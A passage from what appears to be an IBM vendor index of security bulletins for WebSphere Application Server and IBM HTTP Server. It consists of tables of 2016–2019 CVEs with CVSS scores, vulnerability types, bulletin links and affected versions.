9.0,8.5,8.0,7.0 \n \n**2019 CVEs**\n\n**Name **\n\n| \n\n**CVE**\n\n| \n\n**CVSS Score**\n\n| \n\n**WebSphere Application Server Bulletin or Assessment**\n\n| \n\n**IBM HTTP Server Bulletin or Assessment**\n\n| \n\n**Versions Affected** \n \n---|---|---|---|---|--- \n| CVE-2019-17573 | 6.1 | [Cross-site Scripting](<https://www.ibm.com/support/pages/node/6100132>) | Not affected | Liberty \n| CVE-2019-17566 | 7.5 | [Server-side request forgery](<https://www.ibm.com/support/pages/node/6322683>) | Not affected | 9.0,8.5,8.0 \n| CVE-2019-17495 | 5.3 | [Information Disclosure](<https://www.ibm.com/support/pages/node/1274596>) | Not affected | Liberty \n| CVE-2019-12402 | 4.3 | [Denial of Service](<https://www.ibm.com/support/pages/node/1074156>) | Not affected | Liberty \n| CVE-2019-12406 | 5.3 | [Denial of Service](<https://www.ibm.com/support/pages/node/1288774>) | Not affected | 9.0,Liberty \n| CVE-2019-11777 | 7.5 | [Spoofing vulnerability](<https://www.ibm.com/support/pages/node/6602039>) | Not affected | Liberty \n| CVE-2019-10098 | 3.7 | Not affected | [Phishing attack](<https://www.ibm.com/support/pages/node/964768>) | 9.0, 8.5, 8.0, 7.0 \n| CVE-2019-10092 | 4.7 | Not affected | [Cross-site scripting](<https://www.ibm.com/support/pages/node/964768>) | 9.0, 8.5, 8.0, 7.0 \n| CVE-2019-10086 | 5.3 | [Unauthorized Access](<https://www.ibm.com/support/pages/node/1115085>) | Not affected | 9.0, 8.5, 8.0, 7.0 \n| CVE-2019-9518 | 7.5 | [Denial of Service](<https://www.ibm.com/support/pages/node/1072860>) | Not affected | Liberty \n| CVE-2019-9517 | 7.5 | [Denial of Service](<https://www.ibm.com/support/pages/node/1072860>) | Not affected | Liberty \n| CVE-2019-9515 | 7.5 | [Denial of Service](<https://www.ibm.com/support/pages/node/1072860>) | Not affected | Liberty \n| CVE-2019-9514 | 7.5 | [Denial of Service](<https://www.ibm.com/support/pages/node/1072860>) | Not affected | Liberty \n| CVE-2019-9513 | 7.5 | [Denial of Service](<https://www.ibm.com/support/pages/node/1072860>) | Not affected | Liberty \n| CVE-2019-9512 | 7.5 | [Denial of Service](<https://www.ibm.com/support/pages/node/1072860>) | Not affected | Liberty \n| CVE-2019-4732 | 7.2 | [IBM Java SDK for January 2020 CPU](<https://www.ibm.com/support/pages/node/1289194>) | Not affected | 9.0,8.5,Liberty \n| CVE-2019-4720 | 7.5 | [Denial of Service](<https://www.ibm.com/support/pages/node/1285372>) | Not affected | 9.0, 8.5, 8.0, 7.0 Liberty \n| CVE-2019-4670 | 6.5 | [Information Disclosure](<https://www.ibm.com/support/pages/node/1289152>) | Not affected | 9.0,8.5,8.0,7.0 \n| CVE-2019-4663 | 5.4 | [Cross-site scripting](<https://www.ibm.com/support/pages/node/1127367>) | Not affected | Liberty \n| CVE-2019-4505 | 3.7 | [Information Disclosure](<https://www.ibm.com/support/pages/node/964766>) | Not affected | 9.0, 8.5, 7.0Virtual Enterprise \n| CVE-2019-4477 | 5.3 | [Information Disclosure](<https://www.ibm.com/support/pages/node/960290>) | Not affected | 9.0, 8.5, 8.0, 7.0 \n| CVE-2019-4442 | 4.3 | [Path Traversal](<https://www.ibm.com/support/pages/node/959021>) | Not affected | 9.0, 8.5, 8.0, 7.0 \n| CVE-2019-4441 | 5.3 | [Information disclosure](<https://www.ibm.com/support/pages/node/959023>) | Not affected | 9.0, 8.5, 8.0, 7.0 Liberty \n| CVE-2019-4305 | 5.3 | [Information disclosure](<https://www.ibm.com/support/pages/node/960171>) | Not affected | Liberty \n| CVE-2019-4304 | 6.3 | [Bypass security](<https://www.ibm.com/support/pages/node/960171>) | Not affected | Liberty \n| CVE-2019-4285 | 5.4 | [Clickjacking vulnerability](<https://www-01.ibm.com/support/docview.wss?uid=ibm10884064>) | Not affected | Liberty \n| CVE-2019-4279 | 9.0 | [Remote Code Execution](<https://www-01.ibm.com/support/docview.wss?uid=ibm10883628>) | Not affected | 9.0, 8.5, 7.0Virtual Enterprise \n| CVE-2019-4271 | 3.5 | [HTTP Parameter Pollution](<https://www.ibm.com/support/pages/node/884040>) | Not affected | 9.0, 8.5, 7.0Virtual Enterprise \n| CVE-2019-4270 | 5.4 | [Cross-site scripting](<https://www.ibm.com/support/pages/node/884036>) | Not affected | 9.0, 8.5, 8.0, 7.0 \n| CVE-2019-4269 | 5.3 | [Information Disclosure](<https://www-01.ibm.com/support/docview.wss?uid=ibm10884032>) | Not affected | 9.0 \n| CVE-2019-4268 | 5.3 | [Path Traversal](<https://www.ibm.com/support/pages/node/884030>) | Not affected | 9.0, 8.5, 8.0, 7.0 \n| CVE-2019-4080 | 6.5 | [Denial of Service](<https://www-01.ibm.com/support/docview.wss?uid=ibm10875692>) | Not affected | 9.0, 8.5, 8.0, 7.0 \n| CVE-2019-4046 | 5.9 | [Denial of Service](<http://www-01.ibm.com/support/docview.wss?uid=ibm10869570>) | Not affected | 9.0, 8.5, 8.0, 7.0, Liberty \n| CVE-2019-4030 | 5.4 | [Cross-site scripting](<http://www-01.ibm.com/support/docview.wss?uid=ibm10869406>) | Not affected | 9.0, 8.5, 8.0VE, 7.0VE \n| CVE-2019-2989 | 6.8 | [IBM Java SDK for October 2019 CPU](<https://www.ibm.com/support/pages/node/1126887>) | Not affected | 9.0, 8.5, Liberty \n| CVE-2019-2949 | 6.8 | [IBM Java SDK for April 2020 CPU](<https://www.ibm.com/support/pages/node/6206850>) | Not affected | 9.0,8.5,Liberty \n| CVE-2019-2426 | 3.7 | [IBM Java SDK for January 2019 CPU](<https://www-01.ibm.com/support/docview.wss?uid=ibm10873042>) | Not affected | 9.0, 8.5, Liberty \n| CVE-2019-0220 | 5.3 | Not affected | [Weaker Security](<https://www-01.ibm.com/support/docview.wss?uid=ibm10880413>) | 9.0, 8.5, 8.0, 7.0 \n| CVE-2019-0211 | 8.2 | Not affected | [Privilege Escalation](<https://www-01.ibm.com/support/docview.wss?uid=ibm10880413>) | 9.0 \n \n**2018 CVEs**\n\n**Name **\n\n| \n\n**CVE**\n\n| \n\n**CVSS Score**\n\n| \n\n**WebSphere Application Server Bulletin or Assessment**\n\n| \n\n**IBM HTTP Server Bulletin or Assessment**\n\n| \n\n**Versions Affected** \n \n---|---|---|---|---|--- \n| N/A | 8.1 | [Remote code execution in JSF](<http://www-01.ibm.com/support/docview.wss?uid=ibm10716525>) | Not affected | 8.5, 8.0, 7.0 \n| CVE-2018-25031 | 5.4 | [Spoofing vulnerability](<https://www.ibm.com/support/pages/node/6569505>) | Not affected | Liberty \n| CVE-2018-20843 | 3.3 | Not affected | [Denial of service](<https://www.ibm.com/support/pages/node/964768>) | 9.0, 8.5, 8.0, 9.0 \n| CVE-2018-17199 | 5.3 | Not affected | [Bypass security ](<http://www-01.ibm.com/support/docview.wss?uid=ibm10869064>) | 9.0 \n| CVE-2018-12547 | 9.8 | [IBM Java SDK for January 2019 CPU](<https://www-01.ibm.com/support/docview.wss?uid=ibm10873042>) | Not affected | 9.0, 8.5, Liberty \n| CVE-2018-12539 | 8.4 | [IBM Java SDK for July 2018 CPU](<https://www-01.ibm.com/support/docview.wss?uid=ibm10729349>) | Not affected | 9.0, 8.5, 8.0, 7.0, Liberty \n| CVE-2018-10237 | 7.5 | \n\n[Denial of service](<https://www-01.ibm.com/support/docview.wss?uid=ibm10795696>)\n\n| Not affected | 9.0, 8.5, Liberty \n| CVE-2018-8039 | 7.5 | [Man-in-the-Middle](<https://www-01.ibm.com/support/docview.wss?uid=ibm10720065>) | Not affected | 9.0 Liberty \n| CVE-2018-3180 | 5.6 | [IBM Java SDK for October 2018 CPU](<https://www-01.ibm.com/support/docview.wss?uid=ibm10729607>) | Not affected | 9.0, 8.5, 8.0, 7.0, Liberty \n| CVE-2018-3139 | 3.1 | [IBM Java SDK for October 2018 CPU](<https://www-01.ibm.com/support/docview.wss?uid=ibm10729607>) | Not affected | 9.0, 8.5, 8.0, 7.0, Liberty \n| CVE-2018-2800 | 4.2 | [IBM Java SDK for April 2018 CPU](<http://www-01.ibm.com/support/docview.wss?uid=swg22016282>) | Not affected | 9.0, 8.5, 8.0, 7.0, Liberty \n| CVE-2018-2783 | 7.4 | [IBM Java SDK for April 2018 CPU](<http://www-01.ibm.com/support/docview.wss?uid=swg22016282>) | Not affected | 9.0, 8.5, 8.0, 7.0, Liberty \n| CVE-2018-2637 | 7.4 | [IBM Java SDK for January 2018 CPU](<http://www-01.ibm.com/support/docview.wss?uid=swg22013818>) | Not affected | 9.0, 8.5, 8.0, 7.0, Liberty \n| CVE-2018-2634 | 6.8 | [IBM Java SDK for January 2018 CPU](<http://www-01.ibm.com/support/docview.wss?uid=swg22013818>) | Not affected | 9.0, 8.5, 8.0, 7.0, Liberty \n| CVE-2018-2633 | 8.3 | [IBM Java SDK for January 2018 CPU](<http://www-01.ibm.com/support/docview.wss?uid=swg22013818>) | Not affected | 9.0, 8.5, 8.0, 7.0, Liberty \n| CVE-2018-2603 | 5.3 | [IBM Java SDK for January 2018 CPU](<http://www-01.ibm.com/support/docview.wss?uid=swg22013818>) | Not affected | 9.0, 8.5, 8.0, 7.0, Liberty \n| CVE-2018-2602 | 4.5 | [IBM Java SDK for January 2018 CPU](<http://www-01.ibm.com/support/docview.wss?uid=swg22013818>) | Not affected | 9.0, 8.5, 8.0, 7.0, Liberty \n| CVE-2018-2579 | 3.7 | [IBM Java SDK for January 2018 CPU](<http://www-01.ibm.com/support/docview.wss?uid=swg22013818>) | Not affected | 9.0, 8.5, 8.0, 7.0, Liberty \n| CVE-2018-1996 | 5.3 | [Weaker Security](<https://www-01.ibm.com/support/docview.wss?uid=ibm10793421>) | Not affected | 9.0, 8.5, 8.0, 7.0 \n| CVE-2018-1957 | 4.0 | [Information Disclosure](<https://www-01.ibm.com/support/docview.wss?uid=ibm10744247>) | Not affected | 9.0 \n| CVE-2018-1926 | 4.3 | [Cross-site Request Forgery](<http://www-01.ibm.com/support/docview.wss?uid=ibm10742301>) | Not affected | 9.0, 8.5 \n| CVE-2018-1905 | 7.1 | [XXE vulnerability](<http://www-01.ibm.com/support/docview.wss?uid=ibm10738721>) | Not affected | 9.0 \n| CVE-2018-1904 | 8.1 | [Remote Code execution](<http://www-01.ibm.com/support/docview.wss?uid=ibm10738735>) | Not affected | 9.0, 8.5, 8.0, 7.0 \n| CVE-2018-1902 | 3.1 | [Spoofing Vulnerability](<https://www-01.ibm.com/support/docview.wss?uid=ibm10795115>) | Not affected | 9.0, 8.5, 8.0, 7.0, Liberty \n| CVE-2018-1901 | 5.0 | [Privilege Escalation](<http://www-01.ibm.com/support/docview.wss?uid=ibm10738727>) | Not affected | 9.0, 8.5, Liberty \n| CVE-2018-1890 | 5.6 | [IBM Java SDK for January 2019 CPU](<https://www-01.ibm.com/support/docview.wss?uid=ibm10873042>) | Not affected | 9.0, 8.5, Library \n| CVE-2018-1851 | 7.3 | [Code execution](<https://www-01.ibm.com/support/docview.wss?uid=ibm10735105>) | Not affected | Liberty \n| CVE-2018-1840 | 6.0 | [Privilege escalation](<http://www-01.ibm.com/support/docview.wss?uid=ibm10735767>) | Not affected | \n\n9.0, 8.5 \n \n| CVE-2018-1798 | 6.1 | [Cross-site scripting](<http://www-01.ibm.com/support/docview.wss?uid=ibm10730703>) | Not affected | 9.0, 8.5, 8.0, 7.0 \n| CVE-2018-1797 | 6.3 | [Directory traversal](<http://www-01.ibm.com/support/docview.wss?uid=ibm10730699>) | Not affected | 9.0, 8.5, 8.0, 7.0 \n| CVE-2018-1794 | 6.1 | [Cross-site scripting](<https://www-01.ibm.com/support/docview.wss?uid=ibm10729571>) | Not affected | 9.0, 8.5, 8.0, 7.0 \n| CVE-2018-1793 | 6.1 | [Cross-site scripting](<https://www-01.ibm.com/support/docview.wss?uid=ibm10729563>) | Not affected | 9.0, 8.5, 8.0, 7.0 \n| CVE-2018-1777 | 5.4 | [Cross-site scripting](<https://www-01.ibm.com/support/docview.wss?uid=ibm10730631>) | Not affected | 9.0, 8.5, 8.0, 7.0 \n| CVE-2018-1770 | 6.5 | [Directory traversal](<https://www-01.ibm.com/support/docview.wss?uid=ibm10729521>) | Not affected | 9.0, 8.5, 8.0, 7.0 \n| CVE-2018-1767 | 6.1 | [Cross-site scripting](<https://www-01.ibm.com/support/docview.wss?uid=ibm10729547>) | Not affected | 9.0, 8.5, 8.0, 7.0, Liberty \n| CVE-2018-1755 | 5.9 | [Information Disclosure](<https://www-01.ibm.com/support/docview.wss?uid=ibm10728689>) | Not affected | Liberty \n| CVE-2018-1719 | 5.9 | [Weaker security](<https://www-01.ibm.com/support/docview.wss?uid=ibm10718837>) | Not affected | 9.0, 8.5 \n| CVE-2018-1695 | 7.3 | [Spoofing vulnerability](<https://www-01.ibm.com/support/docview.wss?uid=ibm10716523>) | Not affected | 8.5, 8.0, 7.0 \n| CVE-2018-1683 | 5.9 | [Information disclosure](<https://www-01.ibm.com/support/docview.wss?uid=ibm10716533>) | Not affected | Liberty \n| CVE-2018-1656 | 7.4 | [IBM Java SDK for July 2018 CPU](<https://www-01.ibm.com/support/docview.wss?uid=ibm10729349>) | Not affected | 9.0, 8.5, 8.0, 7.0, Liberty \n| CVE-2018-1643 | 6.1 | [Cross-site Scripting](<https://www-01.ibm.com/support/docview.wss?uid=ibm10716857>) | Not affected | 9.0, 8.5, 8.0 \n| CVE-2018-1626 | 4.3 | [Cross-site Request Forgery](<http://www-01.ibm.com/support/docview.wss?uid=ibm10742301>) | Not affected | 9.0, 8.5 \n| CVE-2018-1621 | 4.4 | [Information disclosure](<http://www-01.ibm.com/support/docview.wss?uid=swg22016821>) | Not affected | 9.0, 8.5, 8.0, 7.0 \n| CVE-2018-1614 | 5.8 | [Information disclosure](<http://www-01.ibm.com/support/docview.wss?uid=swg22016887>) | Not affected | 9.0, 8.5, 8.0, 7.0 \n| CVE-2018-1567 | 9.8 | [Code execution](<https://www-01.ibm.com/support/docview.wss?uid=swg22016254>) | Not affected | 9.0, 8.5, 8.0, 7.0 \n| CVE-2018-1553 | 5.3 | [Information disclosure](<http://www-01.ibm.com/support/docview.wss?uid=swg22016218>) | Not affected | Liberty \n| CVE-2018-1447 | 5.1 | Not affected | [Vulnerability in GSKit Component](<http://www-01.ibm.com/support/docview.wss?uid=swg22015347>) | 9.0, 8.5, 8.0, 7.0 \n| CVE-2018-1427 | 6.2 | Not affected | [Vulnerability in GSKit Component](<http://www-01.ibm.com/support/docview.wss?uid=swg22015347>) | 9.0, 8.5, 8.0, 7.0 \n| CVE-2018-1426 | 7.4 | Not affected | [Vulnerability in GSKit Component](<http://www-01.ibm.com/support/docview.wss?uid=swg22015347>) | 9.0, 8.5, 8.0, 7.0 \nROBOT | CVE-2018-1388 | 9.1 | Not affected | [Information Disclosure](<http://www-01.ibm.com/support/docview.wss?uid=swg22014196>) | 7.0 \n| CVE-2018-1301 | 5.3 | Not affected | [Denial of service](<http://www-01.ibm.com/support/docview.wss?uid=swg22015344>) | 9.0, 8.5, 8.0, 7.0 \n \n**2017 CVEs**\n\n**Name **\n\n| \n\n**CVE**\n\n| \n\n**CVSS Score**\n\n| \n\n**WebSphere Application Server Bulletin or Assessment**\n\n| \n\n**IBM HTTP Server Bulletin or Assessment**\n\n| \n\n**Versions Affected** \n \n---|---|---|---|---|--- \n| CVE-2017-15715 | 3.7 | Not affected | [Weaker security](<http://www-01.ibm.com/support/docview.wss?uid=swg22015344>) | 9.0, 8.5, 8.0, 7.0 \n| CVE-2017-15710 | 5.3 | Not affected | [Denial of Service](<http://www-01.ibm.com/support/docview.wss?uid=swg22015344>) | 9.0, 8.5, 8.0, 7.0 \n| CVE-2017-12624 | 5.3 | [Denial of Service](<http://www-01.ibm.com/support/docview.wss?uid=swg22013597>) | Not affected | 9.0, Liberty \n| CVE-2017-12618 | 5.5 | Not affected | [Denial of Service](<http://www-01.ibm.com/support/docview.wss?uid=swg22009782>) | 9.0, 8.5, 8.0, 7.0 \n| CVE-2017-12613 | 9.1 | Not affected | [Denial of Service](<http://www-01.ibm.com/support/docview.wss?uid=swg22013598>) | 9.0, 8.5, 8.0, 7.0 \n| CVE-2017-10388 | 7.5 | [IBM Java SDK for October 2017 CPU](<http://www-01.ibm.com/support/docview.wss?uid=swg22010560>) | Not affected | 9.0, 8.5, 8.0, 7.0, Liberty \n| CVE-2017-10356 | 6.2 | [IBM Java SDK for October 2017 CPU](<http://www-01.ibm.com/support/docview.wss?uid=swg22010560>) | Not affected | 9.0, 8.5, 8.0, 7.0, Liberty \n| CVE-2017-10116 | 8.3 | [IBM Java SDK for July 2017 CPU](<http://www-01.ibm.com/support/docview.wss?uid=swg22007002>) | Not affected | 9.0, 8.5, 8.0, 7.0, Liberty \n| CVE-2017-10115 | 7.5 | [IBM Java SDK for July 2017 CPU](<http://www-01.ibm.com/support/docview.wss?uid=swg22007002>) | Not affected | 9.0, 8.5, 8.0, 7.0, Liberty \n| CVE-2017-10102 | 9.0 | [IBM Java SDK for July 2017 CPU](<http://www-01.ibm.com/support/docview.wss?uid=swg22007002>) | Not affected | 9.0, 8.5, 8.0, 7.0, Liberty \n| CVE-2017-9798 | 7.5 | Not affected | [Information Disclosure](<http://www-01.ibm.com/support/docview.wss?uid=swg22009782>) | 9.0, 8.5, 8.0, 7.0 \n| CVE-2017-7679 | 5.3 | Not affected | [Information Disclosure](<http://www-01.ibm.com/support/docview.wss?uid=swg22005280>) | 9.0, 8.5, 8.0, 7.0 \n| CVE-2017-7668 | 5.3 | Not affected | [Denial of Service](<http://www-01.ibm.com/support/docview.wss?uid=swg22005280>) | 9.0, 8.5, 8.0, 7.0 \n| CVE-2017-5638 | 7.3 | [Not affected bulletin](<http://www-01.ibm.com/support/docview.wss?uid=swg22000122>) | [Not affected bulletin](<http://www-01.ibm.com/support/docview.wss?uid=swg22000122>) | \n| CVE-2017-3736 | 5.9 | Not affected | [Vulnerability in GSKit Component](<http://www-01.ibm.com/support/docview.wss?uid=swg22015347>) | 9.0, 8.5, 8.0, 7.0 \n| CVE-2017-3732 | 5.3 | Not affected | [Vulnerability in GSKit Component](<http://www-01.ibm.com/support/docview.wss?uid=swg22015347>) | 9.0, 8.5, 8.0, 7.0 \n| CVE-2017-3511 | 7.7 | [IBM Java SDK for April 2017 CPU](<http://www-01.ibm.com/support/docview.wss?uid=swg22003016>) | Not affected | 9.0, 8.5, 8.0, 7.0, Liberty \n| CVE-2017-3167 | 5.3 | Not affected | [Bypass security](<http://www-01.ibm.com/support/docview.wss?uid=swg22005280>) | 9.0, 8.5, 8.0, 7.0 \n| CVE-2017-1788 | 5.3 | [Spoofing](<http://www-01.ibm.com/support/docview.wss?uid=swg22012341>) | Not affected | 9.0, Liberty \n| CVE-2017-1743 | 4.3 | [Information Disclosure](<http://www-01.ibm.com/support/docview.wss?uid=swg22013601>) | Not affected | 9.0, 8.5, 8.0, 7.0 \n| CVE-2017-1741 | 4.3 | [Information Disclosure](<http://www-01.ibm.com/support/docview.wss?uid=swg22012342>) | Not affected | 9.0, 8.5, 8.0, 7.0 \n| CVE-2017-1731 | 8.8 | [Privilege escalation](<http://www-01.ibm.com/support/docview.wss?uid=swg22012345>) | Not affected | 9.0, 8.5, 8.0, 7.0 \n| CVE-2017-1681 | 4.0 | [Information Disclosure](<http://www-01.ibm.com/support/docview.wss?uid=swg22010419>) | Not affected | 9.0, 8.5, 8.0, 7.0, Liberty \n| CVE-2017-1583 | 5.3 | [Information Disclosure](<http://www-01.ibm.com/support/docview.wss?uid=swg22008707>) | Not affected | 8.5, 8.0, Liberty \n| CVE-2017-1504 | 5.3 | [Weaker security](<http://www-01.ibm.com/support/docview.wss?uid=swg22006803>) | Not affected | 9.0 \n| CVE-2017-1503 | 6.1 | [HTTP response splitting](<http://www-01.ibm.com/support/docview.wss?uid=swg22006815>) | Not affected | 9.0, 8.5, 8.0, 7.0 \n| CVE-2017-1501 | 5.9 | [Weaker security](<http://www-01.ibm.com/support/docview.wss?uid=swg22006810>) | Not affected | 9.0, 8.5, 8.0 \n| CVE-2017-1382 | 5.1 | [Insecure file permissions](<http://www-01.ibm.com/support/docview.wss?uid=swg22004785>) | Not affected | 9.0, 8.5, 8.0, 7.0 \n| CVE-2017-1381 | 2.9 | [Information disclosure](<http://www-01.ibm.com/support/docview.wss?uid=swg22004792>) | Not affected | 9.0, 8.5, 8.0, 7.0 \n| CVE-2017-1380 | 5.4 | [Cross-site scripting](<http://www-01.ibm.com/support/docview.wss?uid=swg22004786>) | Not affected | 9.0, 8.5, 8.0, 7.0 \n| CVE-2017-1194 | 4.3 | [Cross-site request forgery](<http://www-01.ibm.com/support/docview.wss?uid=swg22001226>) | Not affected | 9.0, 8.5, 8.0, 7.0, Liberty \n| CVE-2017-1151 | 8.1 | [Privilege escalation](<http://www-01.ibm.com/support/docview.wss?uid=swg21999293>) | Not affected | 9.0, 8.5, 8.0 \n| CVE-2017-1137 | 5.9 | [Weaker security](<http://www-01.ibm.com/support/docview.wss?uid=swg21998469>) | Not affected | 8.5, 8.0 \n| CVE-2017-1121 | 5.4 | [Cross-site scripting vulnerability](<http://www-01.ibm.com/support/docview.wss?uid=swg21997743>) | Not affected | 9.0, 8.5, 8.0, 7.0 \n \n**2016 CVEs**\n\n**Name **\n\n| \n\n**CVE**\n\n| \n\n**CVSS Score**\n\n| \n\n**WebSphere Application Server Bulletin or Assessment**\n\n| \n\n**IBM HTTP Server Bulletin or Assessment**\n\n| \n\n**Versions Affected** \n \n---|---|---|---|---|--- \n| CVE-2016-1000031 | 9.8 | [Execute Code](<http://www-01.ibm.com/support/docview.wss?uid=swg22011428>) | Not affected | 9.0, 8.5, 8.0, Liberty \n| CVE-2016-9736 | 3.7 | [Information Disclosure](<http://www-01.ibm.com/support/docview.wss?uid=swg21991469>) | Not affected | 9.0, 8.5, 8.0 \n| CVE-2016-8934 | 5.4 | [Cross-site scripting vulnerability](<http://www-01.ibm.com/support/docview.wss?uid=swg21992315>) | Not affected | 9.0, 8.5, 8.0, 7.0 \n| CVE-2016-8919 | 5.9 | [Denial of service](<http://www-01.ibm.com/support/docview.wss?uid=swg21993797>) | Not affected | 9.0,8.5, 8.0, 7.0 \n| CVE-2016-8743 | 6.1 | Not affected | [Response splitting attack](<http://www-01.ibm.com/support/docview.wss?uid=swg21996847>) | 9.0,8.5, 8.0, 7.0 \n| CVE-2016-7056 | 4.0 | Not affected | [Vulnerability in GSKit Component](<http://www-01.ibm.com/support/docview.wss?uid=swg22015347>) | 9.0, 8.5, 8.0, 7.0 \n| CVE-2016-5986 | 3.7 | [Information Disclosure](<http://www-01.ibm.com/support/docview.wss?uid=swg21990056>) | Not affected | 9.0, 8.5, 8.0, 7.0, Liberty \n| CVE-2016-5983 | 7.5 | [Gain Privileges](<http://www-01.ibm.com/support/docview.wss?uid=swg21990060>) | Not affected | 9.0, 8.5, 8.0, 7.0, Liberty \n| CVE-2016-5597 | 5.9 | [IBM Java SDK for October 2016 CPU](<http://www-01.ibm.com/support/docview.wss?uid=swg21993440>) | Not affected | 9.0, 8.5, 8.0, 7.0, Liberty \n| CVE-2016-5573 | 8.3 | [IBM Java SDK for October 2016 CPU](<http://www-01.ibm.com/support/docview.wss?uid=swg21993440>) | Not affected | 9.0, 8.5, 8.0, 7.0, Liberty \n| CVE-2016-5549 | 6.5 | [IBM Java SDK for January 2017 CPU](<http://www-01.ibm.com/support/docview.wss?uid=swg21998379>) | Not affected | 9.0, 8.5, 8.0, 7.0, Liberty \n| CVE-2016-5548 | 6.5 | [IBM Java SDK for January 2017 CPU](<http://www-01.ibm.com/support/docview.wss?uid=swg21998379>) | Not affected | 9.0, 8.5, 8.0, 7.0, Liberty \n| CVE-2016-5547 | 5.3 | [IBM Java SDK for January 2017 CPU](<http://www-01.ibm.com/support/docview.wss?uid=swg21998379>) | Not affected | 9.0, 8.5, 8.0, 7.0, Liberty \n| CVE-2016-5546 | 7.5 | [IBM Java SDK for January 2017 CPU](<http://www-01.ibm.com/support/docview.wss?uid=swg21998379>) | Not affected | 9.0, 8.5, 8.0, 7.0, Liberty \nHTTPOXY | CVE-2016-5387 | 8.1 | Not affected | [Redirect HTTP traffic](<http://www-01.ibm.com/support/docview.wss?uid=swg21988019>) | 9.0, 8.5, 8.0, 7.0 \n| CVE-2016-4975 | 6.1 | Not affected | Superseded by CVE-2016-8743 | 9.0, 8.5, 8.0, 7.0 \n| CVE-2016-4472 | 5.3 | Not affected | [Denial of Service with Expat](<http://www-01.ibm.com/support/docview.wss?uid=swg21988026>) | 9.0, 8.5, 8.0, 7.0 \n| CVE-2016-3485 | 2.9 | [IBM Java SDK for July 2016 CPU](<http://www-01.ibm.com/support/docview.wss?uid=swg21988339>) | Not affected | 9.0, 8.5, 8.0, 7.0, Liberty \n| CVE-2016-3427 | 10 | [IBM Java SDK for April 2016 CPU](<http://www-01.ibm.com/support/docview.wss?uid=swg21982223>) | Not affected | 8.5, 8.0, 7.0, Liberty \n| CVE-2016-3426 | 4.3 | [IBM Java SDK for April 2016 CPU](<http://www-01.ibm.com/support/docview.wss?uid=swg21982223>) | Not affected | 8.5, 8.0, 7.0, Liberty \n| CVE-2016-3092 | 5.3 | [Apache Commons FileUpload Vulnerability](<http://www-01.ibm.com/support/docview.wss?uid=swg21987864>) | Not affected | 9.0, 8.5, 8.0, 7.0, Liberty \n| CVE-2016-3042 | 5.4 | [Cross-site scripting vulnerability](<http://www-01.ibm.com/support/docview.wss?uid=swg21986716>) | Not affected | Liberty \n| CVE-2016-3040 | 6.3 | [Open Redirect Vulnerability](<http://www-01.ibm.com/support/docview.wss?uid=swg21986715>) | Not affected | Liberty \n| CVE-2016-2960 | 3.7 | [Denial of Service with SIP Services](<http://www-01.ibm.com/support/docview.wss?uid=swg21984796>) | Not affected | 9.0, 8.5, 8.0, 7.0, Liberty \n| CVE-2016-2945 | 5.0 | [Weaker security in Liberty API discovery feature](<http://www-01.ibm.com/support/docview.wss?uid=swg21984502>) | Not affected | Liberty \n| CVE-2016-2923 | 5.3 | [Information Disclosure vulnerability](<http://www-01.ibm.com/support/docview.wss?uid=swg21983700>) | Not affected | Liberty \nSWEET32 | CVE-2016-2183 | 3.7 | [IBM Java SDK for January 2017 CPU](<http://www-01.ibm.com/support/docview.wss?uid=swg21998379>) | [IBM HTTP Server and Sweet32](<http://www-01.ibm.com/support/docview.wss?uid=swg21991548>) (21 Dec 2017) | 9.0 8.5, 8.0, 7.0, Liberty \n| CVE-2016-1182 \n \nCVE-2016-1182 | 4.8 \n \n4.8 | [Bypass Security Restrictions](<http://www-01.ibm.com/support/docview.wss?uid=swg21985995>) \n[Bypass Security Restrictions UDDI](<http://www-01.ibm.com/support/docview.wss?uid=swg22016214>) (21 June 2018) | Not affected | 9.0, 8.5, 8.0, 7.0 \n| CVE-2016-1181 \n \nCVE-2016-1181 | 8.1 \n \n8.1 | [Execute Code](<http://www-01.ibm.com/support/docview.wss?uid=swg21985995>) \n \n[Execute Code UDDI](<http://www-01.ibm.com/support/docview.wss?uid=swg22016214>) (21 June 2018) | Not affected \n \nNot affected | 9.0, 8.5, 8.0, 7.0 \n9.0, 8.5. 8.0, 7.0 \nDROWN | CVE-2016-0800 | | [Not affected bulletin](<http://www-01.ibm.com/support/docview.wss?uid=swg21978292>) | [Not affected bulletin](<http://www-01.ibm.com/support/docview.wss?uid=swg21978317>) | \n| CVE-2016-0718 | 9.8 | Not affected | [Denial of Service with Expat](<http://www-01.ibm.com/support/docview.wss?uid=swg21988026>) (13 Sept 2016) | 9.0, 8.5, 8.0, 7.0 \n| CVE-2016-0702 | 2.9 | Not affected | [Vulnerability in GSKit Component](<http://www-01.ibm.com/support/docview.wss?uid=swg22015347>) | 9.0, 8.5, 8.0 \n| CVE-2016-0488 | 4.0 | [IBM Java SDK for January 2016 CPU](<http://www-01.ibm.com/support/docview.wss?uid=swg21975424>) | Not affected | 8.5, 8.0, 7.0, Liberty \n| CVE-2016-0475 | 5.8 | [IBM Java SDK for January 2016 CPU](<http://www-01.ibm.com/support/docview.wss?uid=swg21975424>) | Not affected | 8.5, 8.0, 7.0, Liberty \n| CVE-2016-0466 | 5.0 | [IBM Java SDK for January 2016 CPU](<http://www-01.ibm.com/support/docview.wss?uid=swg21975424>) | Not affected | 8.5, 8.0, 7.0, Liberty \n| CVE-2016-0389 | 5.3 | [Information Disclosure Vulnerability](<http://www-01.ibm.com/support/docview.wss?uid=swg21982012>) | Not affected | Liberty \n| CVE-2016-0385 | 3.1 | [Bypass security restrictions](<http://www-01.ibm.com/support/docview.wss?uid=swg21982588>) | Not affected | 9.0, 8.5, 8.0, 7.0, Liberty \n| CVE-2016-0378 | 3.7 | [Information Disclosure Vulnerability](<http://www-01.ibm.com/support/docview.wss?uid=swg21981529>) | Not affected | Liberty \n| CVE-2016-0377 | 4.3 | [Information Disclosure vulnerability](<http://www-01.ibm.com/support/docview.wss?uid=swg21980645>) | Not affected | 8.5, 8.0, 7.0 \n| CVE-2016-0360 | 8.1 | [Deserialize objects with MQ Resource adapter](<http://www-01.ibm.com/support/docview.wss?uid=swg21996748>) 14.03.2017 | Not affected | 9.0, 8.5, 8.0, 7.0 \n| CVE-2016-0359 | 6.1 | [HTTP Response Splitting](<http://www-01.ibm.com/support/docview.wss?uid=swg21982526>) | Not affected | 8.5, 8.0, 7.0, Liberty \n| CVE-2016-0306 | 3.7 | [Security vulnerability if FIPS 140-2 is enabled](<http://www-01.ibm.com/support/docview.wss?uid=swg21979231>) | Not affected | 8.5, 8.0,7.0, Liberty \n| CVE-2016-0283 | 6.1 | [Cross-site scripting vulnerability](<http://www-01.ibm.com/support/docview.wss?uid=swg21978293>) | Not affected | Liberty \n| CVE-2016-0201 | 5.9 | Not affected | 